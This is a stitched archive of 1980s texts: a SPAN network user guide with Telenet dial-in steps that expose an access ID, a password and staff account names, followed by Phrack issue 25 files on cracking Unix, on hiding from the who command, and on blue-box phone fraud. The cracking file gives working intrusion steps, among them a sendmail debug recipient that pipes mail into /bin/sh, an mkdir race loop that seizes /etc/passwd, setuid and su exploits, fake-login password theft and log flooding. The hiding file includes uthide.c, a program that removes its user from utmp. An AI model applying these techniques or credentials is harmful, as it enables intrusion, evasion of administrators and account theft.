‑or‑

> RUN $NCP !on PDPs

NCP> SHOW KNOWN NODES !show a list of all nodes

! defined in the volatile data base

NCP> SHOW ACTIVE NODES !show a list of only currently reachable

Please note that the second command cannot be used on "end nodes", that is, nodes that do not perform at least DECnet Level I routing. In addition, only nodes in the user's area will be displayed on either Level I or Level II routers. In the case of end nodes, users should find out the name of the nearest Level I or II routing node and issue the following command:

NCP> TELL GEORGE SHOW ACTIVE NODES

Mail

~~~~

As briefly discussed earlier all SPAN DEC nodes have a network mail utility. Before sending a mail message, the node name and user name must be known. To send a message to the project manager, you would enter the following commands:

$ MAIL

MAIL> SEND

To: NSSDCA::THOMAS

Subj: MAIL UTILITY TEST

Enter your message below. Press ctrl/z when complete

ctrl/c to quit:

VALERIE,

OUR NETWORK CONNECTION IS NOW AVAILABLE AT ALL TIMES. WE ARE LOOKING FORWARD TO WORKING FULL TIME ON SPAN. THANKS FOR ALL YOUR HELP.

FRED

<CTRL/Z>

MAIL>EXIT

In order to send mail to more than one user, list the desired network users on the same line as the TO: command, separating each with a comma. Another way to accomplish this is to use a file of names. For example, in the file SEPAC.DIS, all SEPAC investigators on SPAN are listed:

SSL::ROBERTS

SSL::REASONER

SSL::CHAPPELL

SWRI::JIM

TRW::TAYLOR

STAR::WILLIAMSON

The network mail utility will send duplicate messages to all those named in the above file by putting the file name on the TO: command line (TO: @SEPAC). A second option for the SEND command is to include a file name that contains the text to be sent. You will still be prompted for the To: and Subject: information. The following statements give a brief description of other functions of the MAIL utility:

READ n Will list, on the terminal, the mail message corresponding to number n. If n is not entered, new mail messages will be listed.

EXTRACT Saves a copy of the current message to a designated file.

FORWARD Sends a copy of the current message to other users.

REPLY Allows you to send a message to the sender of the current message.

DIR Lists all messages in the current folder that you have selected. The sequence numbers can then be used with the READ command.

DEL Delete the message just read. The message is actually moved to the WASTEBASKET folder until you exit the utility, when it is actually deleted. Therefore, you can retrieve a message that you have "deleted", up until you enter "exit" or ^Z to the MAIL> prompt.

HELP Always useful if you're lost.

Remote Node Information Files

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

All nodes on the SPAN are required to maintain two node specific information files in their DECnet default directories.

The first file is a network user list file that contains specific information on each network user who has an account on the machine. At a minimum, the user list file should contain the name of the user, his electronic mail address, his account/project identifier, and his default directory. All of this information is easily obtained on VAX/VMS systems from the SYS$SYSTEM:SYSUAF.DAT file. (Note that the SYSUAF.DAT file is (and should be) only readable by the system manager.) The file is called USERLIST.LIS and resides in the node's DECnet default directory. A command procedure for creating this file is available in NSSDCA::SPAN_NIC:USERLIST.COM. This procedure should be executed from the SYSTEM account on the remote node for which it is to be compiled. Following is an example of displaying the USERLIST.LIS file on NSSDCA from a VAX/VMS system.

$ TYPE NSSDCA::USERLIST

Userlist file created at : 28‑SEP‑1986 22:06:01.71

Owner Mail Address Project Default Directory

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑

ROBERT HOLZER NSSDCA::HOLZER CD8UCLGU CDAW_C8USER:[HOLZER] RICHARD HOROWITZ NSSDCA::HOROWITZ ACQ633GU ACQ_USER:[HOROWITZ] CHERYL HUANG NSSDCA::HUANG CD8IOWGU CDAW_C8USER:[HUANG] DOMINIK P. IASCO NSSDCA::IASCONE PCDCDWPG CDAW_DEV:[IASCONE] ISADARE BRADSKY NSSDCA::IZZY DVDSARPG DAVID_DEV:[IZZY] WENDELL JOHNSON NSSDCA::JOHNSON DCSSARPG CODD_DEV:[JOHNSON] DAVID JOSLIN NSSDCA::JOSLIN SYSNYMOP OPERS_OPER:[JOSLIN] JENNIFER HYESONG NSSDCA::JPARK CAS130GU CAS_USER:[JPARK] HSIAOFANG HU NSSDCA::JUDY DVDSARPG DAVID_DEV:[JUDY] YOUNG‑WOON KANG NSSDCA::KANG ADCSARGU ADC_USER:[KANG] SUSAN E. KAYSER NSSDCA::KAYSER ACQSARGU ACQ_USER:[KAYSER] DR. JOSEPH KING NSSDCA::KING ADM633MG ADM_USER:[KING] BERNDT KLECKER NSSDCA::KLECKER CD8MAXGU CDAW_C8USER:[KLECKER] KENNETH KLENK NSSDCA::KLENK PCDSARPG ADM_USER:[KLENK]

Much like the user list, a node information listing is available for all nodes in their DECnet default account. This file is named NODEINFO.LIS. The following example is for the SSL node and should be taken as a template for the generic NODEINFO.LIS file that should be on each node in SPAN.

$ TYPE SSL::NODEINFO

Telenet Access To SPAN

~~~~~~~~~~~~~~~~~~~~~~

As SPAN grows, the number of users wishing to make use of its capabilities increases dramatically. Now it is possible for any user with a terminal and a 0.3 or 1.2 kbps modem to access SPAN from anywhere in the U.S. simply by making a local telephone call. There exists an interconnection between SPAN and the NASA Packet Switched Service (NPSS). The NPSS in turn has a gateway to the public GTE Telenet network which provides the local call access facilities. The user dials into one of Telenet's local access facilities and dials the NASA DAF (Data Access Facility) security computer. The user is then able to access SPAN transparently through the NSSDC or SSL machines.

To find the phone number of a PAD local to the area you are calling from, you can call the Telenet customer service office, toll free, at 1‑800‑TELENET. They will be able to provide you with the number of the nearest Telenet PAD.

The following outlines the steps that one must go through to gain access to SPAN through Telenet.

1. First dial into the local Telenet PAD.

2. When the PAD answers, hit carriage return several times until the '@' prompt appears.

<CR><CR><CR>

@

3. Next enter the host identification address of the NASA DAF (security computer). This identification was not yet available at publication time, but will be made available to all users requesting this type of access.

@ID ;32100104/NASA

4. You will then be prompted for a password (which will be made available with the identification above).

PASSWORD = 021075

(Note: Tthe password will not be echoed)

5. Then type <CR>. You will be connected to the NASA DAF computer. The DAF will tell you which facility and port you succeeded in reaching, along with a "ready" and then an asterisk prompt:

NASA PACKET NETWORK ‑ PSCN

TROUBLE 205/544(FTS 824)‑1771

PAD 311032115056

*1

ready

*

All entries to the DAF must be in capital letters, and the USERID and PASSWORD will undoubtedly be echoed on the screen.

*LOGON

ENTER USERID> LPORTER ENTER PASSWORD> XXXXXXX ENTER SERVICE> SPANSSL NETWORK CONNECTION IN PROGRESS connected

Alternatively, you may enter NSSDC for the "Service>" request.

6. You should now get the VMS "Username" prompt:

Username: SPAN

7. You will then be prompted for the name of the SPAN host destination. For instance, if you are a Pilot Land Data System user on the NSSDC VAX 11/780, you would enter NSSDC and hit the carriage return in response to the prompt for host name.

SPAN host name? NSSDC

8. Finally, continue with normal logon procedure for the destination host.

The SPAN X.25 gateways have also been used extensively for internetwork communications to developing networks in Europe and Canada.

The traffic from the United States to Europe was so extensive that a dedicated link between the GSFC and ESOC routing centers. This link became operational in January 1987.

Configuration Of SPAN/TELENET Gateway

‑‑‑‑‑‑

| dial‑up|

| user |

‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑‑‑‑‑

| TELENET |

‑‑‑‑‑‑‑‑‑‑‑‑‑

| gateway

‑‑‑‑‑‑‑‑‑‑‑‑‑

| NPSS |

‑‑‑‑‑‑‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑‑‑

| SSL | | NSSDC | | VAX 780 | | VAX 8650|

‑‑‑‑‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑‑‑‑‑

| SPAN |

‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

‑‑‑‑‑‑ ‑‑‑‑‑‑

|SPAN| |SPAN| |SPAN| |SPAN| |node| |node| |node| |node|

‑‑‑‑‑‑ ‑‑‑‑‑

SPAN/ARPANET/BITNET/Public Packet Mail Gateways

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SPAN supports several gateways both to and from several major networks. The following gives the current syntax for forming an address to another user on another network. There are several similar gateways at other SPAN nodes that are not included in this list. Stanford is used here only as a typical example. If it is necessary for you to use the Stanford mail gateway on an occasional basis, you should obtain permission from the system manager on the STAR node (or any other non‑NASA gateway node). Currently, there is no restriction on the NSSDCA gateway usage.

SPAN‑to‑ARPANET: NSSDC Gateway . . To: NSSDCA::ARPA%"arpauser@arpahost" JPL Gateway . . . To: JPLLSI::"arpauser@arpahost" Stanford Gateway. To: STAR::"arpauser@arpahost"

ARPANET‑to‑SPAN: NSSDC Gateway . . To: spanuser%spanhost.SPAN@128.183.10.4 JPL Gateway . . . To: spanuser%spanhost.SPAN@JPL‑VLSI.ARPA Stanford Gateway. To: spanuser%spanhost.SPAN@STAR.STANFORD.EDU [Note: 128.183.10.4 is MILNET/ARPANET address for the NSSDC]

SPAN‑to‑BITNET:

NSSDC Gateway. . .To: NSSDCA::ARPA%"bituser%bithost.BITNET@CUNY.CUNYVM.EDU" JPL Gateway. . . .To: JPLLSI::"bituser%bithost.BITNET@CUNY.CUNYVM.EDU" Stanford Gateway .To: STAR::"bituser%bithost.BITNET@CUNY.CUNYVM.EDU"

BITNET‑to‑SPAN: Stanford Gateway. . . . To: spanuser%spanhost.SPAN@SU‑STAR.ARPA

The following gateways allow users on a VAX that supports a connection to a public packet switch system (virtually anywhere in the world) to reach SPAN nodes and vice‑versa. Note that this will transmit mail only to and from VAXs that support DEC PSI and PSI incoming and outgoing mail.

SPAN‑to‑Public Packet VAX

NSSDC Gateway. To: NSSDCA::PSI%dte_number::username SSL Gateway. . To: SSL::PSI%dte_number::username

Public Packet VAX‑to‑SPAN node

NSSDC Gateway. To: PSI%311032107035::span_node_name::username SSL Gateway. . To: PSI%311032100160::span_node_name::username

It is possible for remote terminal access and mail between users on England's Joint Academic Network (JANET) and SPAN. JANET is a private X.25 network used by the UK academic community and is accessible through the two SPAN public packet switched gateways at MSFC and at the NSSDC.

List Of Acronyms

~~~~~~~~~~~~~~~~

ARC ‑ Ames Research Center

ARPANET ‑ Advanced Research Projects Agency network

BITNET ‑ Because It's Time Network

CDAW ‑ Coordinated Data Analysis Workshop

CSNET ‑ Computer Science Network

DDCMP ‑ DEC "level II" network protocol

DEC ‑ Digital Equipment Corporation

DECnet ‑ DEC networking products generic family name

DSUWG ‑ Data System Users Working Group

ESOC ‑ European Space Operations Center

ESTEC ‑ European Space Research and Technology Center

GSFC ‑ Goddard Space Flight Center

GTE ‑ General Telephone and Electic

HEPNET ‑ High Energy Physics Network

INFNET ‑ Instituto Nazional Fisica Nucleare Network

ISAS ‑ Institute of Space and Astronautical Science

ISO/OSI ‑ International Standards Organization/Open Systems Interconnection (network protocol)

ISTP ‑ International Solar Terrestrial Physics

JANET ‑ Joint Academic Network (in United Kingdom)

JPL ‑ Jet Propulsion Laboratory

JSC ‑ Johnson Space Center

kbps ‑ Kilobit per second

LAN ‑ Local area network

LANL ‑ Los Alamos National Laboratory

MFENET ‑ Magnetic Fussion Energy Network

MILNET ‑ Defence data network (originally part of ARPANET)

MSFC ‑ Marshall Space Flight Center

NCAR ‑ National Center for Atmospheric Research

NFT ‑ Network File Transfer (program on RSX/IAS systems)

NIC ‑ Network Information Center

NPSS ‑ NASA Packet Switched System (using X.25 protocol)

NSSDC ‑ National Space Science Data Center (at GSFC)

PDS ‑ Planetary Data System

PSCN ‑ Program Support Communications Network

SESNET ‑ Space and Earth Science Network (at GSFC)

SPAN ‑ Space Physics Analysis Network

SSL ‑ Space Science Laboratory (at MSFC)

RVT ‑ Remote virtual terminal program for RSX or IAS systems TCP/IP ‑ Transmission Control Protocol/Internet Protocol

Telenet ‑ A public packed switched network owned by GTE

TEXNET ‑ Texas Network (Academic network)

WAN ‑ Wide area network

X.25 ‑ A "level II" communication protocol for packet switched networks

Unix Cracking Tips

==Phrack Inc.==

Volume Three, Issue 25, File 5 of 11

<><><><><><><><><><><><><><><><><

<><><><>

<><><> Unix Cracking Tips <><><>

<><>

<> by Dark OverLord <>

<><>

<><><> March 17, 1989 <><><>

<><><><>

<><><><><><><><><><><><><><><><><

The purpose of this file is to present tips for budding Unix hackers. The audience this is aimed at are those that are experienced at working with basic Unix, but not in the cracking aspects.

Most of the following material is based on actual experience with BSD boxes (with some help from my friends). Many of the bugs here may not apply to your system; your mileage will vary.

When Cracking A System Remember ‑‑

o ALWAYS cover your tracks

o Don't get caught

o Don't get malicious

o Get off as soon as possible

o Keep a bottle of "Wild Turkey" near the terminal (IMPORTANT!)

About Logging: Remember that many systems use paper terminals so that if a warning message goes to the console, you can't erase it.

Hint: If you know that you are going to be ringing a few bells, you may wish to send a bunch of bogus messages to the console so it runs out of paper before the important messages get there.

After you gain superuser privileges and you wish to stay root, here are a few suggestions for installing backdoors:

‑ Disable checks for superuser in the kernel

‑ Install new system calls

‑ Patch a system binary to contain a backdoor

‑ Leave /dev/mem readable

An ancient method of extracting data from anything is to sort through its trash. The same applies to Unix and newly allocated data.

One trick is to look for old data in newly allocated data (eg: Allocate a large amount of memory and search through it for old [useful?] data). Given enough time and an intelligent search algorithms, you could find quite a bit of information including people's passwords and other private stuff like mail, et al.

If the device "/dev/kmem" is readable, you should be able to write a quick C program that intercepts the I/O to other terminals and catch other people's password etc.

If the device "/dev/kmem" is writeable, it is possible to change your userid by editing the user structure.

A Common Trick: When looking to gain more system privileges, one of the first things to investigate are other users' .rhost files since these can be used to grant access to other accounts without the use of a password. See the Unix manual entry for rlogin for more information.

Another thing to look for are writeable .profile, .cshrc or .logins (to name a few). It these are left writeable, it is all too easy to install a Trojan horse.

Look for readable .netrc files since these files may contain passwords to other accounts.

If the man command is setuid, it might be possible to get a shell by typing "!/bin/csh" from within the pager.

Some types of terminals can be "instructed" to issue commands using various escape sequences. This makes it possible to mail someone a "letter bomb" that (when read) will send commands to the user's shell.

It is possible to mail commands to a system. This is a feature of the debugging mode of Unix's sendmail. This trick was made fairly public through its use by the Internet Worm. The way it is done is by connecting to the SMTP socket/port and turning on the debug mode. The recipient that is mailed to is "| sed '1,/$/d' | /bin/sh ; exit 0" and then the commands for the shell are placed in the body of the letter/data section.

Under Unix it is trivial to forge mail. The easiest way this is done is by connecting to the SMTP port and pretending to be a foreign mailer program.

Some systems will crash if you issue the command "eval `\!\!`" from within the C shell (/bin/csh).

When searching for data, do not forget to look for possible un‑mounted file systems. [eg: Look for disk partitions that are unaccounted for.]

Other things to try are illegal system calls and system calls with illegal (strange?) arguments. A good example is the fchown system call under 4.3‑Tahoe Release from Berkeley. If you give it a negative number for the group argument it grants permission for you to change the ownership of any file. Another example (on many systems) is the "access" system call used by many, many programs. Its problem is that is only checks permissions on the requested file and neglects to check the permissions of links and directories that lead to the file. I have seen some systems that allow any user to use the chroot system call; this is VERY foolish since all I have to do in construct my own sub‑environment (with my own configuration files) and execute certain commands from within it.

Yet another thing to look for are system structures stored in user accessible memory. These structures can be modified to suit your purposes.

Look for sloppy permission/ownership on system directories and on system configuration files. These can allow you to modify and/or control many aspects of system behavior. Here are a few files to look out for: "/etc/rc",

"/etc/passwd", "/etc/group", "/etc/profile",

"/usr/lib/crontab" or

"/usr/spool/cron/crontabs/*".

Hint: AT&T 3b1 systems are notorious for this problem.

If the system you are hacking has readable system logfiles and it logs failed login attempts, a possible leak might be if a user had accidentally typed their password at the login prompt. You should scan through these logs looking to strange and nonexistent account names and use these as the password for users that logged in around that time (the command "last" will list the login time of users).

Check to see if the system has source code on‑line. There is nothing more useful then having system source code on‑line for browsing.

Look for source code (normally found in the directory /usr/src) and scan it for programming errors (or download it so you spend less time on the system).

Look for other people's back doors. If you can find any, they can make your life a bit easier.

Check to see if the system has a good auditing system. If so, run it since it may find a few security problems for you.

Look for setuid shell scripts that may be on the system. There is no way way to secure a setuid shell script under the current release of BSDish Unixes in the current market. The command "find / ‑perm ‑6000 ‑ls" will print out all setuid and setgid files on a system. Look through this list for setuid shell scripts. One way in defeating a setuid script is to make a link named "‑i" to the file, then execute the link. Another way is to send it a signal at the right moment during its start up. The simplest way do this is to write a quick C program tha t sets a block on the signal, then sends

itself the signal, and then execs a setuid script. (Note: The signal will not be processed because of the block, thus leaving it for the setuid script). Either of these bugs should give you an interactive shell running as the userid of the setuid script.

If you are familiar with programming with assemblers/dissemblers, you can look for bugs and/or modify existing software to suit your needs since most installations do not strip debugging symbols from system binaries and leave the executables readable. There is an enormous amount of hacking information that can be learned this way.

Under UNIX‑V7 & 4.1BSD, programs that were setgid were only a security problem because if you were able to get them to dump a core file, the core would be owned by you and setgid to the groupid of the program that generated it. Since you owned this file, you could copy a shell of a command script into it and have it run as the groupid of the file. This will allow you access to to any file that is owned by the group.

If the system you are hacking supports bidirectional modems, it is possible to use them for stealing passwords. This can be done by using tip to connect to the modem and then waiting for a user to call. When a user calls in, you simply answer the phone and simulate the login process. Once the user has surrendered their password, you simulate line noise and hang up.

The Unix login program (the program that prompts you for the account name and password) is tricky in the way that the error message for bad accounts and bad passwords are the same. This is to stop account/password guessing. I guess it works if your only access to a system is either a terminal line or a modem connection. If you have access through a LAN you can check account names with the finger command. This neat little Unix goodie will give you all sorts of information about people's accounts. If the finger utility is turned off, there is another way through a program called ftp. The ftp (File Transfer Program) command can be used to confirm the existence of a user account/bad password selection. I have also noted that the ftp command does not do as much logging, thus repeated bad password guesses not logged as much via ftp. [See next section also.]

If the Unix system you wish to crack is networked via UUCP or TCP/IP, it should be fairly simple to extract the password file from the remote system using the ftp utility. Once you have a copy of the password file, you can simply back away from the system (thus reducing the chances of getting caught!).

See Phrack Inc. Issue 22, File 6 ‑‑ "Yet Another File On Hacking Unix by >Unknown User<" for a slow but effective password grinder.

Another network based attack involves tapping in on the LAN (Local Area Network) and listening for people's passwords since most systems transmit them in clear text.

On systems that disable account logins after N number of bad logins, it is sometimes useful to use the feature to lock out staff members from logging in thus giving you [the cracker] more time to clean up after yourself and escape.

Here are a few bugs in the su (set userid) command that may come in handy:

The first was that the "‑c" option did not check to see if the user being su'ed to had a valid shell. The "‑c" option is used to instruct the su command to run another command instead of a shell [eg: "su davis ‑c foobar" tells su to run foobar instead of davis's default shell]. This comes in handy with accounts like "sync::0:1::/:/bin/sync" because you can execute any arbitrary command [eg: su sync ‑c /bin/csh].

Another bug in the su command exists in some System V ports where if su was unable to open the password file ("etc/passwd"), it would grant root access (without checking the reason for the failure). I guess the programming can tell that something is wrong and grants access so someone can fix things. The security problem occurs when when su is executed with a full file descriptor table; this will force su to fail its open request on the password file.

Some Unix system's mkdir (MaKe DIRectory) command can be subverted into aiding you in gaining root. This is done by exploiting a race condition that can occur between processes. The following command script will eventually cause the error to occur and cause the password file to be owned by you:

while : ; do

nice ‑10 (mkdir a;rm ‑fr a) &

(rm ‑fr a; ln /etc/passwd a) &

done

The race condition happens when the "ln" command runs while the mkdir command is in the middle of running. This works because the mkdir does its job by doing the two system calls: mknod and then chown. If the now inode (allocated by mknod) is replaced with a link to the password file before the chown system call is made, then the password file is "chown"ed instead. To become root from here, all you have to do is add a new entry into the password file.

The print command ("lpr" or "lp") has an option to delete a file after it is printed. This option will work (print & delete the file) even if you do not own the file.

The mail command has the option to save your mail after you read to another file. Some versions of this command will save (append) your mail to a file after it is read. A bug exists where the mail program does not check to see if you have write permission to the file you are saving the mail to, thus allowing you to (for example) add new accounts to the password file.

A quick word on the crypt command (and vi ‑x since it uses the crypt command): The algorithm used is not hard to break (it takes about twenty minutes to decrypt a file with the right tools). See the "Bell Systems Technical journal," Vol. 63, 8, part 2 for more information.

If the UUCP configuration files are readable [default on many systems], you can obtain the login names, passwords, and phone numbers to all of the mail links to and from the system you are hacking. With the use of the a public domain program, "uupc", you can make the connections yourself and intercept and/or filter all incoming mail.

There are so many ways to crack Unix just through UUCP that I am not going to expand and list the many ways and their permutations. Instead, I am going to save them for an article to be done at some random time in the future.

If you are hacking on a system that supports sharable memory you may be able to access these memory segments. On Sun systems, there is a command called ipcs. This command lists available sharable memory segments. If this command does not exist (nor has a equivalent command available), you may have to either write one or use blind exploration. Once you have identified these segments, you can gain control to the data contained therein and/or other programs utilizing the data contained within.

If you are caught: Grasp the bottle of "Wild Turkey" (the one near your terminal) and drink it.

Hiding Out Under Unix

==Phrack Inc.==

Volume Three, Issue 25, File 6 of 11

HIDING OUT UNDER UNIX

By BLACK TIE AFFAIR

March 25, 1989

Under Unix, a user can see who's currently logged into the system with commands like 'who', 'finger' and 'w'. All these programs gather parts or all of their information by looking at the file /etc/utmp.

This file contains one record for each terminal connected to the system and activated for logins. The format of the record differs between the various Unix versions, but there are common fields which exist on every popular Unix descent: The name of the terminal device (ut_line) and the name of the user logged in on that line (ut_user).

Though the design of the Unix operating system is basically (!) consistent, this scheme shows some problems. The information whether a process is considered to be a terminal session is not kept in the process itself, but in a separate file. Thus, it is the duty of user mode programs to keep this file up to date, and gives an excellent point for a hacker to put his drill on. To be fair here, other operating systems have similar problems. But we're talking Unix currently.

There is another mechanism available under Unix, which can provide information about terminal sessions: The 'controlling tty'. The first terminal device a process opens becomes that process controlling tty. Unix uses this information internally to determine which processes should be signaled when the user types one of the signal generating keys (CTRL‑C, CTRL‑\ etc.) on the terminal. When such a character is encountered by the terminal driver, all processes which have this terminal device as controlling tty receive the signal corresponding to that character.

A process is not needingly an interactive session if it has a controlling tty, though. Any process which opens a terminal device (which could be a network process which uses a tty device for communication to another machine) has this terminal as it's controlling tty.

As such, it is good practice to cross‑check the contents of the utmp file with all processes in the system which have a controlling tty. Two shell scripts which exactly do this on BSD and System V Unix systems are included at the end of this file. Both perform the same function: They use who(1) to get a list of the sessions mentioned in the utmp file, and ps(1) to get a list of all processes currently running. It outputs all processes which have a controlling tty but are not visible with who(1). A little flaw here is the fact that getty processes waiting on a terminal for someone to log in are displayed.

The family of 'who'‑programs just scans the utmp‑file for entries which belong to an active login session, and formats those records to be human‑readable. The decision whether an entry corresponds to an active session is different under different Unix versions. Those who have the old utmp file format (System III, System 5R1, BSD) look at the ut_user field. If the first byte is non‑null, the entry is considered to correspond to an active session. Under System 5 since release 2, the utmp structure has been enhanced to contain a type field (ut_type) which tells about the type of the entry. who(1) only displays a record, when the ut_type field contains the value USER_PROCESS (as defined in /usr/include/utmp.h). Other records are ignored unless the ‑a option is specified to who(1).

Being invisible to the who‑family of programs gives some advantage to a hacker. He can stay in the system with a degraded risk of being discovered by a system manager who spies around. Of course, a system with a properly protected utmp file is not vulnerable to this kind of hide out, provided that the hacker didn't manage to get root access. For clearance, a little C program which demonstrates this kind of hideout is included in the shar file at the end of this article. Just compile and run it with proper permissions to see how to hide.

! /bin/sh

This is a shell archive. Remove anything before this line, then feed it into a shell via "sh file" or similar. To overwrite existing files, type "sh file ‑c".

The tool that generated this appeared in the comp.sources.unix newsgroup; send mail to comp‑sources‑unix@uunet.uu.net if you want that tool. If this archive is complete, you will see the following message at the end: "End of shell archive."

Contents: check.bsd check.sysv uthide.c PATH=/bin:/usr/bin:/usr/ucb ; export PATH

if test ‑f 'check.bsd' ‑a "$1" != "‑c" ; then

echo shar: Will not clobber existing file \"'check.bsd'\"

else

echo shar: Extracting \"'check.bsd'\" \(305 characters\)

sed "s/^X//" >'check.bsd' <<'END_OF_FILE'

X:

X

X(who ; echo "___" ; ps au) | awk '

X if ($0 == "___")

X pslist = 1

X next

X

X if ( pslist )

X if (ttys[$7] == 0)

X print $0

X

X else

X if (substr($2, 0, 3) == "tty")

X id = substr($2, 4, 2)

X ttys[id] = 1

X else

X if ($2 == "console")

X ttys["co"] = 1

X

X

X

END_OF_FILE

if test 306 ‑ne `wc ‑c <'check.bsd'`; then

echo shar: \"'check.bsd'\" unpacked with wrong size!

fi

end of 'check.bsd'

fi

if test ‑f 'check.sysv' ‑a "$1" != "‑c" ; then

echo shar: Will not clobber existing file \"'check.sysv'\"

else

echo shar: Extracting \"'check.sysv'\" \(312 characters\)

sed "s/^X//" >'check.sysv' <<'END_OF_FILE'

X:

X

X(who ; echo "___" ; ps ‑fe) | awk '

X if ($0 == "___")

X pslist = 1

X next

X

X if ( pslist )

X if ($6 != "?" && ttys[$6] == 0)

X print $0

X

X else

X if (substr($2, 0, 3) == "tty")

X id = substr($2, 4, 2)

X ttys[id] = 1

X else

X if ($2 == "console")

X ttys["co"] = 1

X

X

END_OF_FILE

if test 313 ‑ne `wc ‑c <'check.sysv'`; then

echo shar: \"'check.sysv'\" unpacked with wrong size!

fi

end of 'check.sysv'

fi

if test ‑f 'uthide.c' ‑a "$1" != "‑c" ; then

echo shar: Will not clobber existing file \"'uthide.c'\"

else

echo shar: Extracting \"'uthide.c'\" \(1295 characters\)

sed "s/^X//" >'uthide.c' <<'END_OF_FILE'

X/* hide.c ‑ needs write access to /etc/utmp */

X

Xinclude <sys/types.h>

Xinclude <utmp.h>

Xinclude <fcntl.h>

X

Xdefine UTMP "/etc/utmp"

X

Xifndef INIT_PROCESS

X/* this is some system with this useless utmp format. we assume bsd, but

X * it could well be system III or some other historic version. but come X * on, guys ‑‑ go the modern way ;‑)

X */

Xdefine BSD

Xendif

X

Xifdef BSD

Xdefine strrchr rindex

Xelse

Xdefine bzero(s,n) memset(s,'\0',n)

Xendif

X

Xchar *

Xbasename(path)

X

X char *path;

X char *p, *strrchr();

X

X return((path && (p = strrchr(path, '/'))) ? p+1 : path);

X

X

Xmain()

X

X struct utmp ut;

X int fd;

X char *strrchr();

X char *ttyname(), *tty = basename(ttyname(0));

X

X if (!tty)

X puts("not on a tty");

X exit(1);

X

X

X if ((fd = open(UTMP, O_RDWR)) < 0)

X perror(UTMP);

X exit(2);

X

X

X while (read(fd, &ut, sizeof(ut)) == sizeof(ut))

X if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line))) X bzero(ut.ut_name, sizeof(ut.ut_name)); Xifndef BSD

X ut.ut_type = INIT_PROCESS;

X ut.ut_pid = 1;

Xelse

X bzero(ut.ut_host, sizeof(ut.ut_host)); Xendif BSD

X if (lseek(fd, ‑sizeof(ut), 1) < 0)

X puts("seek error");

X exit(3);

X

X if (write(fd, &ut, sizeof(ut)) != sizeof(ut))

X puts("write error");

X exit(4);

X

X exit(0);

X

X

X

X puts("you don't exist");

X exit(5);

X

END_OF_FILE

if test 1296 ‑ne `wc ‑c <'uthide.c'`; then

echo shar: \"'uthide.c'\" unpacked with wrong size!

fi

end of 'uthide.c'

fi

echo shar: End of shell archive.

exit 0

The Blue Box And Ma Bell

==Phrack Inc.==

Volume Three, Issue 25, File 7 of 11

^*^ ^*^ ^*^ ^*^ ^*^ ^*^ ^*^ ^*^ ^*

^*^

^*^ The Blue Box And Ma Bell ^*^

^*^

^*^ Brought To You by The Noid ^*^

^*^

^*^ ^*^ ^*^ ^*^ ^*^ ^*^ ^*^ ^*^ ^*

"...The user placed the speaker over the telephone handset's transmitter and simply pressed the buttons that corresponded to the desired CCITT tones. It was just that simple."

THE BLUE BOX AND MA BELL

~~~~~~~~~~~~~~

Before the breakup of AT&T, Ma Bell was everyone's favorite enemy. So it was not surprising that so many people worked so hard and so successfully at perfecting various means of making free and untraceable telephone calls. Whether it was a BLACK BOX used by Joe and Jane College to call home, or a BLUE BOX used by organized crime to lay off untraceable bets, the technology that provided the finest telephone system in the world contained the seeds of its own destruction.

The fact of the matter is that the Blue Box was so effective at making untraceable calls that there is no estimate as to how many calls were made or lost revenues of $100, $100‑million, or $1‑billion on the Blue Box. Blue Boxes were so effective at making free, untraceable calls that Ma Bell didn't want anyone to know about them, and for many years denied their existence. They even went as far as strongarming a major consumer‑science magazine into killing an article that had already been prepared on the Blue and Black boxes. Furthermore, the police records of a major city contain a report concerning a break‑in at the residence of the author of that article. The only item missing following the break‑in was the folder containing copies of one of the earliest Blue‑Box designs and a Bell‑System booklet that described how subscriber billing was done by the AMA machine ‑‑ a booklet that Ma Bell denied ever existed. Since the AMA (Automatic Message Accounting) machine was the means whereby Ma Bell eventually tracked down both the Blue and Black Boxes, I'll take time out to explain it. Besides, knowing how the AMA machine works will help you to better understand Blue and Black Box "phone phreaking."

Who Made The Call?

~~~~~~~~~~~~~~~~~~

Back in the early days of the telephone, a customer's billing originated in a mechanical counting device, which was usually called a "register" or a "meter." Each subscriber's line was connected to a meter that was part of a wall of meters. The meter clicked off the message units, and once a month someone simply wrote down the meter's reading, which was later interpolated into message‑unit billing for those subscriber's who were charged by the message unit. (Flat‑rate subscriber's could make unlimited calls only within a designated geographic area. The meter clicked off message units for calls outside that area.) Because eventually there were too many meters to read individually, and because more subscribers started questioning their monthly bills, the local telephone companies turned to photography. A photograph of a large number of meters served as an incontestable record of their reading at a given date and time, and was much easier to convert to customer billing by the accounting department.

As you might imagine, even with photographs, billing was cumbersome and did not reflect the latest technical developments. A meter didn't provide any indication of what the subscriber was doing with the telephone, nor did it indicate how the average subscriber made calls or the efficiency of the information service (how fast the operators could handle requests). So the meters were replaced by the AMA machine. One machine handled up to 20,000 subscribers. It produced a punched tape for a 24‑hour period that showed, among other things, the time a phone was picked up (went off‑hook), the number dialed, the time the called party answered, and the time the originating phone was hung up (placed on‑hook).

One other point, which will answer some questions that you're certain to think of as we discuss the Black & Blue boxes: Ma Bell did not want persons outside their system to know about the AMA machine. The reason: Almost everyone had complaints ‑‑ usually unjustified ‑‑ about their billing. Had the public been aware of the AMA machine they would have asked for a monthly list of their telephone calls. It wasn't that Ma Bell feared errors in billing; rather, they were fearful of being buried under any avalanche of paperwork and customer complaints. Also, the public believed their telephone calls were personal and untraceable, and Ma Bell didn't want to admit that they knew about the who, when, and where of every call. And so Ma Bell always insisted that billing was based on a meter that simply "clicked" for each message unit; that there was no record, other than for long‑distance as to who called whom. Long distance was handled by, and the billing information was done by an operator, so there was a written record Ma Bell could not deny.

